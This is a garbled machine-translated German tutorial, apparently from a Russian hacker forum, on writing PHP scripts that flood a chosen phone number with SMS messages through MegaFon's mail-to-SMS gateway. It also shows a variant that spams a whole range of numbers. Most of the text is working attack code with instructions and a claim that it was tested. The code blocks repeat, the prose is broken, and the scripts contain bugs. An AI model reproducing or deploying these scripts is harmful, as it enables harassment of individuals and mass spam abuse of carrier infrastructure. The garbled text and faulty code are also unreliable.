Schreiben Sms flooder oder Spammers (mail2sms)

mail2sms
Das Finden oder außerhalb Links oder Skripte entschieden außerhalb Fluder zu sausen. Das Opfer war der russische MegaFon .Vozmёm es als Beispiel.

Flut

Zunächst werden wir verstehen, was Fluder. Fluder In meinem Verständnis - ein Programm oder Skript, das (erste) einen bestimmten Empfänger einige Informationen in einer Reihe von schicken (oft - in einem sehr großen).

Und so müssen wir eine solche flooder zu schreiben? Fast nichts:
  • Hosting mit PHP-Unterstützung
  • Kabel + geraden Arm
  • Fähigkeit juzat Google
Für Hochwasser werden wir das SMS-Gateway des Betreibers verwenden.
Das SMS-Gateway - eine Schnittstelle , die Sie Nachrichten senden und empfangen SMS ermöglicht , ohne ein Mobiltelefon verwenden. SMS-Nachrichten werden in E-Mail - Nachrichten konvertiert, HTTP-Anfragen und umgekehrt. Nachricht durch ein solches Gateway gesendet werden , können an den Absender kostenlos sein; aber es können technische Beschränkungen sein, wie beispielsweise die Anzahl der ograchinenie Nachrichten von einem Computer pro Tag senden.

Wie aus den oben fortgeschrittene Programmierer ist , ist nichts Neues für mich nicht kannte.
So haben Sie mit allem, was gewählt Hosting aussortiert ...
Erstellen Sie eine Seite index.php wie folgt:
<?php
echo '<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"><html><head>' ;
echo
'<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<title>Megafon flooder from Inlanger</title>
<style type="text/css">
body { font-weight: normal; font-family: Verdana; font-size: 10px; color: #26029B; background-color: #FDD7A2 }
a:link { text-decoration: none; color : #000000}
a:active { text-decoration: none; color : #000000 }
a:visited { text-decoration: none; color : #000000}
a:hover { text-decoration: none; font-size: 9px; color : #404040 }
div { margin: 1px 0px 1px 0px; padding: 5px 5px 5px 5px; font-weight: bold;}
.a {background-color: orange; text-align: center; font-size: 15px; color: #F0F902; border-left:3px solid #000000; border-right:3px solid #000000; border-bottom:3px solid #000000; border-top:3px solid #000000;}
.v {background-color: orange; text-align: center; font-size: 12px; color: #000000; border-left:3px solid #000000; border-right:3px solid #000000; border-bottom:3px solid #000000; border-top:3px solid #000000;}
</style></head><body bgcolor="#FDD7A2"><!--MADE BY INLANGER-->'
;
echo
"<div class=\"a\" align=\"center\">flooder/spamer from Inlanger</div>" ;
echo
"</div><div class=\"v\">
<form action=\"sms.php\" method=\"post\">
Номер:<br />
<input name=\"to\" maxlength=\"11\" value=\"7\" /><br />
Текст сообщения:<br />
<input name=\"msg\" /><br />
Количество:<br />
<input name=\"kol\" /><br />
Задержка в секундах:<br />
<input name=\"zad\" /><br />
<input type=\"submit\" value=\"Поехали...\">
</form>
<br/><br/>

<br/></div></body></html>"
;
?>
<?php
echo '<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"><html><head>' ;
echo
'<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<title>Megafon flooder from Inlanger</title>
<style type="text/css">
body { font-weight: normal; font-family: Verdana; font-size: 10px; color: #26029B; background-color: #FDD7A2 }
a:link { text-decoration: none; color : #000000}
a:active { text-decoration: none; color : #000000 }
a:visited { text-decoration: none; color : #000000}
a:hover { text-decoration: none; font-size: 9px; color : #404040 }
div { margin: 1px 0px 1px 0px; padding: 5px 5px 5px 5px; font-weight: bold;}
.a {background-color: orange; text-align: center; font-size: 15px; color: #F0F902; border-left:3px solid #000000; border-right:3px solid #000000; border-bottom:3px solid #000000; border-top:3px solid #000000;}
.v {background-color: orange; text-align: center; font-size: 12px; color: #000000; border-left:3px solid #000000; border-right:3px solid #000000; border-bottom:3px solid #000000; border-top:3px solid #000000;}
</style></head><body bgcolor="#FDD7A2"><!--MADE BY INLANGER-->'
;
echo
"<div class=\"a\" align=\"center\">flooder/spamer from Inlanger</div>" ;
echo
"</div><div class=\"v\">
<form action=\"sms.php\" method=\"post\">
Номер:<br />
<input name=\"to\" maxlength=\"11\" value=\"7\" /><br />
Текст сообщения:<br />
<input name=\"msg\" /><br />
Количество:<br />
<input name=\"kol\" /><br />
Задержка в секундах:<br />
<input name=\"zad\" /><br />
<input type=\"submit\" value=\"Поехали...\">
</form>
<br/><br/>

<br/></div></body></html>"
;
?>
Wie aus dem Code klar ist, wird es eine Seite mit einem Formular sein gesendet werden sollen, zu unserem Skript verweisen, die sms.php aufgerufen wird:
<?php
$from
= "любой почтовый@ящик" ;
$to = $_POST [ 'to' ]. '@sms.mgsm.ru' ;
$msg = $_POST [ 'msg' ];
for(
$i = 0 ; $i < $kol ; $i ++)
{
mail ( "$to" , "" , "$msg" , "From: $from" );
sleep ( $zad );
}
print
"
<html>
<body>
<p align=\"center\">
Your $kol SMS:<br><b>
$msg
</b>
has been sent to $to
<br></p>
<div align=right>Inlanger</div>
</body>
</html> "
;
?>
<?php
$from
= "любой почтовый@ящик" ;
$to = $_POST [ 'to' ]. '@sms.mgsm.ru' ;
$msg = $_POST [ 'msg' ];
for(
$i = 0 ; $i < $kol ; $i ++)
{
mail ( "$to" , "" , "$msg" , "From: $from" );
sleep ( $zad );
}
print
"
<html>
<body>
<p align=\"center\">
Your $kol SMS:<br><b>
$msg
</b>
has been sent to $to
<br></p>
<div align=right>Inlanger</div>
</body>
</html> "
;
?>
Ich fange an, den Code zu verstehen.
Am Anfang des Skripts weisen wir Variablen.
$ Aus - jede Mailbox , von denen Nachrichten gehen.
$ An - das Ziel, das ist das, was wir Boom Flut. Der Wert der Variablen wird aus der index.php Form und slazhivaetsya mit @ sms.mgsm.ru. genommen Was ist das @ sms.mgsm.ru? Das SMS-Gateway-Betreiber MEGFON.
$ Msg - eine Variable , die den Text enthält , gesendet werden.
Weiters gibt es einen Zyklus, der die Aufgabe des Sendens der erforderlichen Anzahl von Verbindungen Schlaf zu unterbrechen ist.
Mail-Funktion nur verantwortlich für pereslku Mail-Gateway.

Jetzt für die Schlaf - Funktion. Warum braucht sie?
Wenn wir es nicht einschreiben, der Server nicht auf die gewünschte Anzahl von SMS reagieren und diese auf die Anzahl von 1-2 Stück senden. Damit soll sichergestellt werden, dass der Server reagieren konnte und diese Funktion benötigen. In Klammern ist die Anzahl der Sekunden Verzögerung geschrieben. Diese figure're, indem Sie versuchen verschiedene varintov bekommen. Sein Wert kann auf dem Gateway-Last und der Geschwindigkeit Ihres Internet ab. Also, was ist Experiment. Das Skript wurde mit dem Parameter 7 getestet.

Überprüfen Sie das Skript. Wir gehen auf unser Formular, geben Sie die erforderlichen Daten ein und wir drücken Sie die Taste ...
Nun ist es eine Überlegung wert , dass das Skript sofort ausgeführt wird, aber nach und nach, warten Sie nach dem mv Die Meldungen jeder Pause ausgesetzt.

Spam

Was ist Spam? Ich verstehe, wie Spam-Massenversand einige Informationen zu den verschiedenen Leuten für verschiedene Zwecke. Was wir brauchen, die Spam zu organisieren
  • alles, was für flooder aufgeführt wurde
Brauchen Sie ein wenig die Form des mv zu verändern. Hier sind nur ein Fragment von:
  < form action = "sms.php\" method=\"post\">
Номер:<br />
<input name=\"to\" maxlength=\"11\" value=\"7\" /><br />
Текст сообщения:<br />
<input name=\"msg\" /><br />
Диапозон номеров:<br />
ОТ <input name=\"diapstart\" /> ДО <input name=\"diapfinish\" /><br />
Задержка в секундах:<br />
<input name=\"zad\" /><br />
<input type=\"submit\" value=\"Поехали...\">
</form>
Und ein wenig modifizierten Code sms.php:

<?php
$from
= "любой почтовый@ящик" ;
$to = $i . '@sms.mgsm.ru' ;
$msg = $_POST [ 'msg' ];
for(
$i = $diapstart ; $i <= $diapfinish ; $i ++)
{
mail ( "$to" , "" , "$msg" , "From: $from" );
sleep ( $zad );
}

...
<?php
$from
= "любой почтовый@ящик" ;
$to = $i . '@sms.mgsm.ru' ;
$msg = $_POST [ 'msg' ];
for(
$i = $diapstart ; $i <= $diapfinish ; $i ++)
{
mail ( "$to" , "" , "$msg" , "From: $from" );
sleep ( $zad );
}

...
Ich denke , hier ist alles klar. Wir bewegen uns von einem bestimmten Bereich Zahlen und beziehen sich auf sie SMS in einem bestimmten Intervall. In diesem Verfahren:
[+] Funktioniert ohne Basis. auf dem Gesicht von Spar- und Verkehr
[+] Im Gegensatz zu der Basis - und Anfänger Netzwerk bekommen, doch die in den Datenbanken (kostenlose und kostenpflichtige)
[-] Nicht alle werden gesendete SMS bis aus dem Grund, dass diese Zahlen nicht sein kann. Aber es ist möglich, solche Bereiche zu wählen, daß das war die maximale Wahrscheinlichkeit von SMS liefert.

Was abschließend sagen ...
Dieses Material wird rufen Sie nicht zum Handeln und hat die Einarbeitungs Charakter. Der Autor, I und Kopie-fügen Sie den Link hier obligatorisch.
Mit ein wenig Bereitschaft und Fähigkeit, Skript aufgrund eines Spammers geändert oder passt sich an einem anderen Betreiber mit SMS-Gateways shlyuzom.Vot arbeiten uns zu finden und wir hatten die Möglichkeit, Google. Für die Faulen - eine große Liste von Gateways . Aber es ist vielleicht der nächste Artikel sein.

PS Überschwemmungen vor kurzem proverlsya. Alles funktioniert gut. Wenn nicht funktioniert, dann gibt es mehrere Möglichkeiten. One - Hand Kurven. Zweitens - nicht halten Sie Ihren Hosting - Mail - Funktion. Der dritte - der Betreiber die Gateway geändert oder Gateway ist überlastet.